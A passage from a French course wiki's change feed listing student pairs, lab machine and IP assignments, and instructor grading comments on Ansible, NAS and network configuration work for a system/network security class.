| 4 || Simon CRUCHET &lt;br /&gt;
| truite.fun || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || Louis DERYCKERE&lt;br /&gt;
| esturgeon.fun || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || Romain DUHR&lt;br /&gt;
| palourde.fun || || || || Configuration du commutateur virtuel SE4 sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, propre&lt;br /&gt;
|-&lt;br /&gt;
| 7 || Amaury BECQUET&lt;br /&gt;
| bigorneau.fun || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || Youness EL QASTALANI&lt;br /&gt;
| munchkin.site || &amp;lt;code&amp;gt;munchkin&amp;lt;/code&amp;gt; démarre (maj non effectuée) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || Younes BENMBAREK&lt;br /&gt;
| siamois.site || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || Chaymae RHANIM&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || Ayoub CHAOUNI&lt;br /&gt;
| nyala.website || &amp;lt;code&amp;gt;nyala&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || Thomas NAVE&lt;br /&gt;
| ornithorynque.lol || &amp;lt;code&amp;gt;ornithorynque&amp;lt;/code&amp;gt; démarre (maj en cours mais pas de réseau) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || Adrien PALIFERRO&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || Thibault DUYCK&lt;br /&gt;
| caribou.lol || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || Stéphane KADER-ISSACK&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || Marion NORMAND&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || Taha NEHARI&lt;br /&gt;
| fennec.pics || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || Martin CHAUVELIERE&lt;br /&gt;
| castor-canard.lol || &amp;lt;code&amp;gt;castor-canard&amp;lt;/code&amp;gt; démarre (maj non effectuée) || || ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Deuxième contrôle continu 13/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Elève !! domaine !! machine services !! machine mandataire !! commutateur virtuel !! tâche annexe&lt;br /&gt;
|-&lt;br /&gt;
| 1 || Bilal EL HASNAOUI&lt;br /&gt;
| aigle.lol || &amp;lt;code&amp;gt;aigle&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || Némo CAZIN &lt;br /&gt;
| || &amp;lt;code&amp;gt;chevreuil&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || Antoine CEGARRA &lt;br /&gt;
| || &amp;lt;code&amp;gt;belette&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || Simon CRUCHET &lt;br /&gt;
| truite.fun || &amp;lt;code&amp;gt;truite&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || Louis DERYCKERE&lt;br /&gt;
| esturgeon.fun || &amp;lt;code&amp;gt;esturgeon&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || Romain DUHR&lt;br /&gt;
| palourde.fun || &amp;lt;code&amp;gt;palourde&amp;lt;/code&amp;gt; démarrée || || || Configuration du commutateur virtuel SE4 sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, propre&lt;br /&gt;
|-&lt;br /&gt;
| 7 || Amaury BECQUET&lt;br /&gt;
| bigorneau.fun || &amp;lt;code&amp;gt;bigorneau&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || Youness EL QASTALANI&lt;br /&gt;
| munchkin.site || &amp;lt;code&amp;gt;munchkin&amp;lt;/code&amp;gt; démarre (non maj, écrasée avec nouvelle installation) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
| || &amp;lt;code&amp;gt;ecureuil&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || Younes BENMBAREK&lt;br /&gt;
| siamois.site || &amp;lt;code&amp;gt;siamois&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || Chaymae RHANIM&lt;br /&gt;
| || &amp;lt;code&amp;gt;lynx&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || Ayoub CHAOUNI&lt;br /&gt;
| nyala.website || &amp;lt;code&amp;gt;nyala&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 ||&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || Thomas NAVE&lt;br /&gt;
| ornithorynque.lol || &amp;lt;code&amp;gt;ornithorynque&amp;lt;/code&amp;gt; démarre (maj terminée, très bien) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || Adrien PALIFERRO&lt;br /&gt;
| || &amp;lt;code&amp;gt;axolotl&amp;lt;/code&amp;gt; non lancée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || Thibault DUYCK&lt;br /&gt;
| caribou.lol || &amp;lt;code&amp;gt;caribou&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || Stéphane KADER-ISSACK&lt;br /&gt;
| || &amp;lt;code&amp;gt;singe&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || Marion NORMAND&lt;br /&gt;
| || &amp;lt;code&amp;gt;loutre&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || Taha NEHARI&lt;br /&gt;
| fennec.pics || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || Martin CHAUVELIERE&lt;br /&gt;
| castor-canard.lol || &amp;lt;code&amp;gt;castor-canard&amp;lt;/code&amp;gt; démarre (maj terminée, très bien) || || ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=5287</id>
		<title>SE4 IdO sécurité système/réseau 2023/2024</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=5287"/>
		<updated>2024-02-14T14:51:57Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Répartition des binômes pour les travaux pratiques &amp;quot;académiques&amp;quot; */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;migration&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Donnez les élèves dans chaque binôme. Pas de trinôme, éventuellement un monôme.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Elèves !! N° du NAS !! Résumé de la tâche en trois mots&lt;br /&gt;
|-&lt;br /&gt;
| b1 || Louis DERYCKERE &amp;amp; Simon CRUCHET || NAS03 || Installation des disques&lt;br /&gt;
|-&lt;br /&gt;
| b2 ||  Louis WIJSMAN &amp;amp; Thomas LEFRANC|| NAS02 || Serveur de temps&lt;br /&gt;
|-&lt;br /&gt;
| b3 || Thomas Nave &amp;amp; Thibault Duyck || NAS09 || Premiers rôles Ansible&lt;br /&gt;
|-&lt;br /&gt;
| b4 || Romain DUHR &amp;amp; Amaury BECQUET || NAS04 || Câblage anciennes stations &lt;br /&gt;
|-&lt;br /&gt;
| b5 || Younes BENMBAREK &amp;amp; Youness EL QASTALANI || NAS05 || Configuration serveur Ansible&lt;br /&gt;
|-&lt;br /&gt;
| b6 || Chaymae RHANIM &amp;amp; Heriniaina ANDRIANIRINTSOA || NAS06 || Configuration serveur NFS&lt;br /&gt;
|-&lt;br /&gt;
| b7 || Bilal EL HASNAOUI &amp;amp; Ayoub CHAOUNI || NAS07 || Installation d'une mascarade&lt;br /&gt;
|-&lt;br /&gt;
| m8 || Adrien PALIFERRO || NAS08 || Configuration interface réseau (commutateur virtuel)&lt;br /&gt;
|-&lt;br /&gt;
| b9 || Nemo CAZIN &amp;amp; Antoine CEGARRA || NAS01 || Configuration du DNS&lt;br /&gt;
|-&lt;br /&gt;
| b10 || Stéphane Kader Issack &amp;amp; Marion Normand || NAS10 || Configuration interface réseau (&amp;lt;code&amp;gt;ether0&amp;lt;/code&amp;gt;)&lt;br /&gt;
|-&lt;br /&gt;
| b11 ||  Martin Chauveliere &amp;amp; Taha Nehari || NAS11 || Recopie Archive TP&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Contrôles continus &amp;quot;TP migration&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 06/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (6 février) !! Commentaire sur la tâche supplémentaire (6 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| mode BIOS, Devuan mode texte, passer en UEFI || OK mais la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, dois-je vous imputer cela ?&lt;br /&gt;
|-&lt;br /&gt;
| b2 &lt;br /&gt;
| mode UEFI, installation BIOS, ne fonctionne pas, câble non fonctionnel || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| mode BIOS, ne démarre pas, plaque latérale mal remise || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| mode BIOS, ne démarre pas || gestion OK des commutateurs, connexion très partielle (au moins 5 stations non connectées)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| mode UEFI, démarre sur l'ancien Devuan || paquetage &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; installé sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;, aucune trace de l'inventaire, pas de répertoire &amp;lt;code&amp;gt;/etc/ansible&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| mode UEFI, démarre sur l'ancien Devuan || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| mode UEFI, plante sur GRUB || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| mode BIOS, Devuan mode texte, passer en UEFI || laquelle ? aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| mode UEFI, installation BIOS, ne fonctionne pas || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| Même pas étiquetté, ancien Devuan (installé ReX), configuration réseau sur la mauvaise interface, réparé avec les instructions envoyées par courriel || laquelle ? aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| mode BIOS, Devuan mode texte, passer en UEFI (fait ReX) || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 08/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (8 février) !! Commentaire sur la tâche supplémentaire (8 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| installée par ReX, clef ed25519 absente || disques installés, la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, SSD commandé&lt;br /&gt;
|-&lt;br /&gt;
| b2&lt;br /&gt;
| installée par TV, ssh installé par ReX, clef ed25519 absente || le rôle est déjà pris, rabattez-vous sur le rôle ntp&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| installée par TV, ssh installé par TV, clef ed25519 absente || rôles &amp;lt;code&amp;gt;filesys_role&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;package_role&amp;lt;/code&amp;gt; OK à la lecture (bien factorisés), à tester.&lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| installée par ReX, clef USB initiale défaillante, clef ed25519 absente || gestion OK des commutateurs, encore des problèmes (e.g. câble défectueux sur nas02)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| installée par ReX, clef USB initiale défaillante, NVRAM EFI &amp;quot;pleine&amp;quot;, clef ed25519 absente || inventaire ansible correct, mauvaise syntaxe pour le playbook, test non effectué (ou collègues non prévenus des absences de clef ed25519)&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| installé par ReX, réinitialisation usine, clef USB initiale défaillante, clef ed25519 absente || rôle vide&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| installée par ReX, clef USB, initiale défaillante, clef ed25519 absente || vous n'avez pas défini un rôle mais un playbook, revoyez le cours, de l'idée, en particulier l'ajout du paquetage &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; est à conserver mais après avoir installé les règles, pour les règles utilisez l'action prévue pour [https://docs.ansible.com/ansible/latest/collections/ansible/builtin/iptables_module.html]&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| installée par TV, clef ed25519 absente || mauvais nom de rôle &amp;lt;code&amp;gt;ifacenetwork_role&amp;lt;/code&amp;gt;, il manque le modèle (template), rôle vide en fait&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| installée par ReX, clef USB initiale défaillante, clef ed25519 absente || bonne organisation du rôle, dans le modèle utilisez la bonne syntaxe pour la variable &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;, utilisez le sous-répertoire &amp;lt;code&amp;gt;vars&amp;lt;/code&amp;gt; pour votre variable, vous devez récupérer le numéro du nom du nas pas de la zabeth, il manque le dictionnaire pour passer de ce numéro au &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt; correspondant, utilisez l'action template pour gérer le template &lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| installée par ReX, modification IPv4 par ReX, clef ed25519 absente || mauvais nom de rôle &amp;lt;code&amp;gt;config_reseau_role&amp;lt;/code&amp;gt;, mauvais modèle (définition d'un vlan ?!, il faut utiliser les directives &amp;lt;code&amp;gt;up&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;down&amp;lt;/code&amp;gt;), mauvaise organisation du rôle (allez voir sur &amp;lt;code&amp;gt;zabeth21&amp;lt;/code&amp;gt;)&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| installée par ReX, clef ed25519 absente || n'utilisez pas l'action &amp;lt;code&amp;gt;copy&amp;lt;/code&amp;gt;, aucune chance que cela fonctionne, utilisez l'action &amp;lt;code&amp;gt;rsync&amp;lt;/code&amp;gt; comme demandé dans le sujet [https://docs.ansible.com/ansible/latest/collections/ansible/posix/synchronize_module.html], mettez l'archive dans &amp;lt;code&amp;gt;/home/pifou&amp;lt;/code&amp;gt; plutôt&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 11/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (8 février) !! Commentaire sur la tâche supplémentaire (8 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| interfaces réseau renommées, clef ed25519 modifiée par ReX || disques installés, la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, SSD commandé&lt;br /&gt;
|-&lt;br /&gt;
| b2&lt;br /&gt;
| même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt;, répertoire &amp;lt;code&amp;gt;/etc/udev/rules.d/70-persistent-net.rules&amp;lt;/code&amp;gt; absent, fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; à corriger avec le nouveau nom de l'interface || le rôle est déjà pris, rabattez-vous sur le rôle ntp&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| interfaces réseau mal renommées (corrigé ReX 12/2), clef ed25519 modifiée par ReX (12/2) || rôles &amp;lt;code&amp;gt;role_files&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;role_packages&amp;lt;/code&amp;gt; validés, à tester.&lt;br /&gt;
interfaces réseau renommées, clef ed25519 modifiée par ReX &lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| interfaces réseau renommées, clef ed25519 modifiée par ReX, pourquoi avoir enlevé le flanc que j'avais bien remis ? || gestion OK des commutateurs, encore des problèmes (e.g. câble défectueux sur nas02)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| interfaces réseau mal renommées (corrigé ReX 12/2), réseau VLAN 50 sur la mauvaise interface, câble à changer de position (fait ReX 12/2), clef ed25519 modifiée (ReX 12/2), si le ventilateur ne fonctionne pas changez-le, vous allez tuer le processeur || inventaire ansible correct, mauvaise syntaxe pour le playbook, clef ed25519 mal recopiée&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| interfaces réseau renommées, machine relancée par ReX, même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt; || rôle vide&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| interfaces réseau mal renommées (corrigé ReX 12/2), même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt; || vous n'avez pas défini un rôle mais un playbook, revoyez le cours, de l'idée, en particulier l'ajout du paquetage &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; est à conserver mais après avoir installé les règles, pour les règles utilisez l'action prévue pour [https://docs.ansible.com/ansible/latest/collections/ansible/builtin/iptables_module.html]&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt;, répertoire &amp;lt;code&amp;gt;/etc/udev/rules.d/70-persistent-net.rules&amp;lt;/code&amp;gt; absent, fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; à corriger avec le nouveau nom de l'interface  || rôle vide&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt;, répertoire &amp;lt;code&amp;gt;/etc/udev/rules.d/70-persistent-net.rules&amp;lt;/code&amp;gt; absent, réseau VLAN 50 sur la mauvaise interface || bonne organisation du rôle (presque, les &amp;lt;code&amp;gt;.yml&amp;lt;/code&amp;gt; doivent s'appeler &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;), dans le modèle utilisez la bonne syntaxe pour la variable &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;, utilisez le sous-répertoire &amp;lt;code&amp;gt;vars&amp;lt;/code&amp;gt; pour votre variable, vous devez récupérer le numéro du nom du nas pas de la zabeth, il manque le dictionnaire pour passer de ce numéro au &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt; correspondant (regardez le rôle &amp;lt;code&amp;gt;role_A_and_B&amp;lt;/code&amp;gt;), utilisez l'action template pour gérer le modèle&lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| interfaces réseau renommées, même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt; || mauvais nom de rôle &amp;lt;code&amp;gt;config_reseau_role&amp;lt;/code&amp;gt; (les &amp;lt;code&amp;gt;.yml&amp;lt;/code&amp;gt; doivent s'appeler &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;), mauvais modèle (définition d'un vlan ?!, il faut utiliser les directives &amp;lt;code&amp;gt;up&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;down&amp;lt;/code&amp;gt;), mauvaise organisation du rôle (allez voir le rôle &amp;lt;code&amp;gt;role_A_and_B&amp;lt;/code&amp;gt;)&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| interfaces réseau renommées, clef ed25519 modifiée par ReX  || n'utilisez pas l'action &amp;lt;code&amp;gt;copy&amp;lt;/code&amp;gt;, aucune chance que cela fonctionne, utilisez l'action &amp;lt;code&amp;gt;rsync&amp;lt;/code&amp;gt; comme demandé dans le sujet [https://docs.ansible.com/ansible/latest/collections/ansible/posix/synchronize_module.html], mettez l'archive dans &amp;lt;code&amp;gt;/home/pifou&amp;lt;/code&amp;gt; plutôt&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 13/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (13 février) !! Commentaire sur la tâche supplémentaire (13 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| contactable par ansible || disques installés, la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, SSD changé, installé (ReX 12/02)&lt;br /&gt;
|-&lt;br /&gt;
| b2&lt;br /&gt;
| toujours pas contactable par ansible || rôle ntp absent&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| contactable par ansible || rôles &amp;lt;code&amp;gt;role_files&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;role_packages&amp;lt;/code&amp;gt; validés, corrections mineures, fonctionnent.&lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| contactable par ansible, problème du flanc non fermé || gestion OK des commutateurs, encore des problèmes (e.g. câble défectueux sur nas02)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| contactable par ansible, gare au ventilateur du processeur || inventaire ansible correct, playbook plausible, clef ed25519 mal recopiée&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| toujours pas contactable par ansible || rôle NFS toujours vide&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| contactable par ansible || rôle mascarade plausible, quelques corrections en particulier sur le réseau IPv4 cible mais pas mal du tout&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| toujours pas contactable par ansible || rôle commutateur virtuel toujours vide&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| contactable par ansible, interfaces mal renommées, câble sur le mauvais port || rôle DNS, bon départ, livraison tardive mais rôle fonctionnel&lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| toujours pas contactable par ansible || rôle &amp;quot;interface VLAN50&amp;quot; toujours inexploitable&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| contactable par ansible || rôle &amp;quot;copie archive&amp;quot; toujours inexploitable&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Répartition des binômes pour les travaux pratiques &amp;quot;académiques&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Nom machine services &lt;br /&gt;
! IPv4 privée machine services !! Nom de domaine !! Nom machine mandataire &lt;br /&gt;
! IPv4 privée et routée machine mandataire !! Elève &lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E1 | Cahier n°1]]&lt;br /&gt;
| aigle|| 192.168.7.2|| aigle.lol|| heterodontosaurus|| 193.48.57.185|| Bilal EL HASNAOUI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E2 | Cahier n°2]]&lt;br /&gt;
| chevreuil||14.14.14.10&lt;br /&gt;
| chevreuil.lol|| spinosaure|| 193.48.57.179|| Némo CAZIN&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E3 | Cahier n°3]]&lt;br /&gt;
| belette|| 14.14.14.11|| belette.lol|| spinosaure|| 193.48.57.179|| Antoine CEGARRA&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E4 | Cahier n°4]]&lt;br /&gt;
| truite|| 10.10.10.10|| truite.fun|| brachiosaure|| 193.48.57.181|| Simon CRUCHET&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E5 | Cahier n°5]]&lt;br /&gt;
| esturgeon|| 10.10.10.11|| esturgeon.fun|| brachiosaure|| 193.48.57.181|| Louis DERYCKERE&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E6 | Cahier n°6]]&lt;br /&gt;
| palourde|| 10.10.10.10|| palourde.fun|| raptor|| 193.48.57.182|| Romain DUHR&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E7 | Cahier n°7]]&lt;br /&gt;
| bigorneau|| 10.10.10.11|| bigorneau.fun|| raptor|| 193.48.57.182||Amaury BECQUET&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E8 | Cahier n°8]]&lt;br /&gt;
| munchkin|| 10.10.10.5|| munchkin.site|| trex|| 193.48.57.183|| Youness EL QASTALANI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E9 | Cahier n°9]]&lt;br /&gt;
| ecureuil|| 12.12.12.17|| ecureuil.pics|| velociraptor|| 193.48.57.177|| Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E10 | Cahier n°10]]&lt;br /&gt;
| siamois|| 10.10.10.6|| siamois.site|| trex|| 193.48.57.183|| Younes BENMBAREK&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E11 | Cahier n°11]]&lt;br /&gt;
| lynx|| 12.12.12.18|| lynx.pics|| velociraptor|| 193.48.57.177|| Chaymae RHANIM&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E12 | Cahier n°12]]&lt;br /&gt;
| nyala|| 192.168.7.3|| nyala.website|| heterodontosaurus|| 193.48.57.185|| Ayoub CHAOUNI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E13 | Cahier n°13]]&lt;br /&gt;
| tigre|| 192.168.10.3|| tigre.lol|| smilodon|| 193.48.57.180|| Louis WIJSMAN&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E14 | Cahier n°14]]&lt;br /&gt;
| ornithorynque|| 10.10.10.10|| ornithorynque.lol|| pteranodon|| 193.48.57.187||Thomas NAVE&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E15 | Cahier n°15]]&lt;br /&gt;
| axolotl|| 10.10.10.18|| axolotl.lol|| plesiosaurus|| 193.48.57.186|| Adrien PALIFERRO&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E16 | Cahier n°16]]&lt;br /&gt;
